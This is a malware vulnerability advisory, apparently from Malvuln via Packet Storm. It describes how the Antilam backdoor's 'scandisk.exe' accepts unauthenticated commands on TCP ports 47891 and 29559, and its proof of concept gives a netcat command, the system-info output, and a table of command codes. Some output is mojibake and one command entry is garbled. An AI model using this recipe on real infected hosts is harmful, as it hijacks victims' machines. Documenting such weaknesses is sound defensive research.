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Backdoor.Win32.Antilam.13.a Code Execution

🗓️ 10 May 2021 00:00:00Reported by malvulnType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 205 Views

Malware "Backdoor.Win32.Antilam.13.a" allows unauthenticated remote command execution by dropping "scandisk.exe" listening on TCP ports 47891 and 29559. Attackers can use Netcat utility to send numeric or hex commands

Code
`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/1ef711b34cc278449f1997e4ed06334a.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Antilam.13.a  
Vulnerability: Unauthenticated Remote Command Execution  
Description: The malware drops an executable named "scandisk.exe" that listens on TCP ports 47891 and 29559. Third party attackers who can reach infected systems can execute commands made available by the backdoor. Netcat utility worked the best for running commands, which are supplied as numeric values or hex characters. The values sent correspond to different commands mapped in the backdoor. Example, to get the date/time we can enter 015 or the hex value 0xF.  
Type: PE  
MD5: 1ef711b34cc278449f1997e4ed06334a  
Vuln ID: MVID-2021-0204  
Dropped files: scandisk.exe  
Disclosure: 05/07/2021  
  
Exploit/PoC:  
001 + Enter (Gets system info)  
  
nc64.exe 192.168.88.127 47891  
001  
╧α∩Ωα Windows: C:\WINDOWS  
╧α∩Ωα System:  
╧α∩Ωα Temp: C:\Users\Victim\AppData\Local\Temp\  
┬σ≡±Φ Windows: Windows NT 6.2 9200  
╠Φφ≤≥ Γ Windows: 688  
╚∞ Ωε∞∩α: DESKTOP-1B6KQJO  
╚∞ ■τσ≡α: Victim  
▀τ√Ω Windows: English (United States)  
╨ατ≡σ°σφΦσ: 1593x810  
NumLock: Off  
CapsLock: Off  
ScrollLock: Off  
╧≡εΦπ≡√ΓαφΦσ τΓ≤Ωα: ─α  
╤ΓεßεΣφεσ ∞σ±≥ε φα ΣΦ±Ωσ: 2,059,726,640  
╒ε±≥: DESKTOP-1B6KQJO  
  
Other commands:  
  
004 Taskbar  
007 Monitor  
009 Ctrl+Alt+Del  
010 CapsLock  
012 CD-ROM  
015 or 0xF(HEX) Get Date/Time  
018 Mouse was been unlocked  
029 returns name of the current malware running  
022 returns the 65784am ManagerAdministrator Command Prompt Promptrator)  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
`

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